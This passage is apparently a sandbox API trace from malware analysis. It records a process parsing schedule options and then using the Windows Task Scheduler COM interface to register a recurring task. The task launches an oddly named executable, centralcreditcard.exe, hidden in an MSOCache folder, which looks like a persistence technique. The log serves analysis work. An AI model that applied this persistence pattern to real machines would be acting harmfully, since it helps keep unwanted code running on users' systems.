(_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.987] lstrlenW (lpString="f") returned 1 [0080.987] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.987] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|i|") returned 3 [0080.987] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.987] lstrlenW (lpString="|i|") returned 3 [0080.987] lstrlenW (lpString="|f|") returned 3 [0080.987] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0080.987] SetLastError (dwErrCode=0x490) [0080.987] lstrlenW (lpString="tn") returned 2 [0080.987] lstrlenW (lpString="tn") returned 2 [0080.987] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.987] lstrlenW (lpString="f") returned 1 [0080.987] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.987] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.987] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.987] lstrlenW (lpString="|tn|") returned 4 [0080.987] lstrlenW (lpString="|f|") returned 3 [0080.987] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0080.987] SetLastError (dwErrCode=0x490) [0080.987] lstrlenW (lpString="tr") returned 2 [0080.987] lstrlenW (lpString="tr") returned 2 [0080.987] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.987] lstrlenW (lpString="f") returned 1 [0080.987] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.988] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.988] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.988] lstrlenW (lpString="|tr|") returned 4 [0080.988] lstrlenW (lpString="|f|") returned 3 [0080.988] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0080.988] SetLastError (dwErrCode=0x490) [0080.988] lstrlenW (lpString="st") returned 2 [0080.988] lstrlenW (lpString="st") returned 2 [0080.988] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.988] lstrlenW (lpString="f") returned 1 [0080.988] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.988] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|st|") returned 4 [0080.988] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.988] lstrlenW (lpString="|st|") returned 4 [0080.988] lstrlenW (lpString="|f|") returned 3 [0080.988] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0080.988] SetLastError (dwErrCode=0x490) [0080.988] lstrlenW (lpString="sd") returned 2 [0080.988] lstrlenW (lpString="sd") returned 2 [0080.988] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.988] lstrlenW (lpString="f") returned 1 [0080.988] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.988] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|sd|") returned 4 [0080.988] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.988] lstrlenW (lpString="|sd|") returned 4 [0080.988] lstrlenW (lpString="|f|") returned 3 [0080.988] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0080.988] SetLastError (dwErrCode=0x490) [0080.988] lstrlenW (lpString="ed") returned 2 [0080.988] lstrlenW (lpString="ed") returned 2 [0080.988] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.988] lstrlenW (lpString="f") returned 1 [0080.988] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.989] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|ed|") returned 4 [0080.989] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.989] lstrlenW (lpString="|ed|") returned 4 [0080.989] lstrlenW (lpString="|f|") returned 3 [0080.989] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0080.989] SetLastError (dwErrCode=0x490) [0080.989] lstrlenW (lpString="it") returned 2 [0080.989] lstrlenW (lpString="it") returned 2 [0080.989] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.989] lstrlenW (lpString="f") returned 1 [0080.989] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.989] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|it|") returned 4 [0080.989] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.989] lstrlenW (lpString="|it|") returned 4 [0080.989] lstrlenW (lpString="|f|") returned 3 [0080.989] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0080.989] SetLastError (dwErrCode=0x490) [0080.989] lstrlenW (lpString="et") returned 2 [0080.989] lstrlenW (lpString="et") returned 2 [0080.989] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.989] lstrlenW (lpString="f") returned 1 [0080.989] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.989] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|et|") returned 4 [0080.989] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.989] lstrlenW (lpString="|et|") returned 4 [0080.989] lstrlenW (lpString="|f|") returned 3 [0080.989] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0080.989] SetLastError (dwErrCode=0x490) [0080.989] lstrlenW (lpString="k") returned 1 [0080.989] lstrlenW (lpString="k") returned 1 [0080.989] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.989] lstrlenW (lpString="f") returned 1 [0080.990] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.990] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|k|") returned 3 [0080.990] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.990] lstrlenW (lpString="|k|") returned 3 [0080.990] lstrlenW (lpString="|f|") returned 3 [0080.990] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0080.990] SetLastError (dwErrCode=0x490) [0080.990] lstrlenW (lpString="du") returned 2 [0080.990] lstrlenW (lpString="du") returned 2 [0080.990] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.990] lstrlenW (lpString="f") returned 1 [0080.990] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.990] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|du|") returned 4 [0080.990] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.990] lstrlenW (lpString="|du|") returned 4 [0080.990] lstrlenW (lpString="|f|") returned 3 [0080.990] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0080.990] SetLastError (dwErrCode=0x490) [0080.990] lstrlenW (lpString="ri") returned 2 [0080.990] lstrlenW (lpString="ri") returned 2 [0080.990] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.990] lstrlenW (lpString="f") returned 1 [0080.990] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.990] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|ri|") returned 4 [0080.990] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.990] lstrlenW (lpString="|ri|") returned 4 [0080.990] lstrlenW (lpString="|f|") returned 3 [0080.990] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0080.990] SetLastError (dwErrCode=0x490) [0080.990] lstrlenW (lpString="z") returned 1 [0080.990] lstrlenW (lpString="z") returned 1 [0080.990] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.990] lstrlenW (lpString="f") returned 1 [0080.990] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.991] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|z|") returned 3 [0080.991] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.991] lstrlenW (lpString="|z|") returned 3 [0080.991] lstrlenW (lpString="|f|") returned 3 [0080.991] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0080.991] SetLastError (dwErrCode=0x490) [0080.991] lstrlenW (lpString="f") returned 1 [0080.991] lstrlenW (lpString="f") returned 1 [0080.991] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.991] lstrlenW (lpString="f") returned 1 [0080.991] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.991] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.991] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.991] lstrlenW (lpString="|f|") returned 3 [0080.991] lstrlenW (lpString="|f|") returned 3 [0080.991] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0080.991] SetLastError (dwErrCode=0x0) [0080.991] SetLastError (dwErrCode=0x0) [0080.991] GetProcessHeap () returned 0x260000 [0080.991] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cf20 [0080.991] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.991] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0080.991] lstrlenW (lpString="MINUTE") returned 6 [0080.991] GetProcessHeap () returned 0x260000 [0080.991] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0xe) returned 0x27d720 [0080.991] GetThreadLocale () returned 0x409 [0080.991] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0080.992] SetLastError (dwErrCode=0x0) [0080.992] GetProcessHeap () returned 0x260000 [0080.992] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x1fc) returned 0x27c6b0 [0080.992] GetProcessHeap () returned 0x260000 [0080.992] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cef0 [0080.992] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.992] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0080.992] lstrlenW (lpString="First") returned 5 [0080.992] GetProcessHeap () returned 0x260000 [0080.992] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0xc) returned 0x27d740 [0080.992] GetProcessHeap () returned 0x260000 [0080.992] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cec0 [0080.992] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.992] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0080.992] lstrlenW (lpString="Second") returned 6 [0080.992] GetProcessHeap () returned 0x260000 [0080.992] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0xe) returned 0x27d760 [0080.992] GetProcessHeap () returned 0x260000 [0080.992] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27ce90 [0080.992] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.992] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0080.992] lstrlenW (lpString="Third") returned 5 [0080.992] GetProcessHeap () returned 0x260000 [0080.992] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0xc) returned 0x27d780 [0080.992] GetProcessHeap () returned 0x260000 [0080.992] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27ce60 [0080.992] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.992] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0080.992] lstrlenW (lpString="Fourth") returned 6 [0080.992] GetProcessHeap () returned 0x260000 [0080.992] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0xe) returned 0x27d7a0 [0080.992] GetProcessHeap () returned 0x260000 [0080.992] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27ce30 [0080.992] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.992] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0080.992] lstrlenW (lpString="Last") returned 4 [0080.993] GetProcessHeap () returned 0x260000 [0080.993] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0xa) returned 0x27d7c0 [0080.993] lstrlenW (lpString="12") returned 2 [0080.993] _wtol (_String="12") returned 12 [0080.993] GetProcessHeap () returned 0x260000 [0080.993] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27ce00 [0080.993] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.993] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0080.993] lstrlenW (lpString="First") returned 5 [0080.993] GetProcessHeap () returned 0x260000 [0080.993] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0xc) returned 0x27d7e0 [0080.993] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.993] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0080.993] lstrlenW (lpString="Second") returned 6 [0080.993] GetProcessHeap () returned 0x260000 [0080.993] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0xe) returned 0x27d800 [0080.993] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.993] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0080.993] lstrlenW (lpString="Third") returned 5 [0080.993] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.993] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0080.993] lstrlenW (lpString="Fourth") returned 6 [0080.993] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.993] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0080.993] lstrlenW (lpString="Last") returned 4 [0080.993] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13c340, cchData=128 | out: lpLCData="0") returned 2 [0080.993] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.993] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0080.993] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0080.994] GetProcessHeap () returned 0x260000 [0080.994] GetProcessHeap () returned 0x260000 [0080.994] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27d740) returned 1 [0080.994] GetProcessHeap () returned 0x260000 [0080.994] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27d740) returned 0xc [0080.994] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27d740 | out: hHeap=0x260000) returned 1 [0080.994] GetProcessHeap () returned 0x260000 [0080.994] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x16) returned 0x27d740 [0080.994] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13c360, cchData=128 | out: lpLCData="0") returned 2 [0080.994] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.994] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0080.994] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0080.994] GetProcessHeap () returned 0x260000 [0080.994] GetProcessHeap () returned 0x260000 [0080.994] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27d760) returned 1 [0080.994] GetProcessHeap () returned 0x260000 [0080.994] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27d760) returned 0xe [0080.994] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27d760 | out: hHeap=0x260000) returned 1 [0080.994] GetProcessHeap () returned 0x260000 [0080.994] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x16) returned 0x27d760 [0080.994] GetLocalTime (in: lpSystemTime=0x13c590 | out: lpSystemTime=0x13c590*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x5, wMilliseconds=0x164)) [0080.994] lstrlenW (lpString="") returned 0 [0080.994] GetLocalTime (in: lpSystemTime=0x13ce48 | out: lpSystemTime=0x13ce48*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x5, wMilliseconds=0x164)) [0080.994] lstrlenW (lpString="") returned 0 [0080.994] lstrlenW (lpString="") returned 0 [0080.994] lstrlenW (lpString="") returned 0 [0080.994] lstrlenW (lpString="") returned 0 [0080.994] lstrlenW (lpString="12") returned 2 [0080.995] _wtol (_String="12") returned 12 [0080.995] lstrlenW (lpString="") returned 0 [0080.995] lstrlenW (lpString="") returned 0 [0080.995] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0081.024] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0081.062] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x13cc10 | out: ppv=0x13cc10*=0x2158c0) returned 0x0 [0081.072] TaskScheduler:ITaskService:Connect (This=0x2158c0, serverName=0x13ccf0*(varType=0x8, wReserved1=0x13, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x13ccb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x13ccd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13cc90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0081.079] TaskScheduler:IUnknown:AddRef (This=0x2158c0) returned 0x2 [0081.079] TaskScheduler:ITaskService:GetFolder (in: This=0x2158c0, Path=0x0, ppFolder=0x13cda8 | out: ppFolder=0x13cda8*=0x36df30) returned 0x0 [0081.084] TaskScheduler:ITaskService:NewTask (in: This=0x2158c0, flags=0x0, ppDefinition=0x13cda0 | out: ppDefinition=0x13cda0*=0x2164d0) returned 0x0 [0081.084] ITaskDefinition:get_Actions (in: This=0x2164d0, ppActions=0x13cd20 | out: ppActions=0x13cd20*=0x215a80) returned 0x0 [0081.084] IActionCollection:Create (in: This=0x215a80, Type=0, ppAction=0x13cd40 | out: ppAction=0x13cd40*=0x2168e0) returned 0x0 [0081.084] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0081.084] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0081.084] lstrlenW (lpString=" ") returned 1 [0081.084] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x4f) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0081.085] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x7b) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.085] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x7d) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0081.086] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0081.087] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0081.087] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0081.087] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0081.087] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0081.087] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0081.087] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0081.087] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0081.087] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0081.087] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0081.087] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0081.087] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0081.087] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0081.087] StrChrW (lpStart=" ", 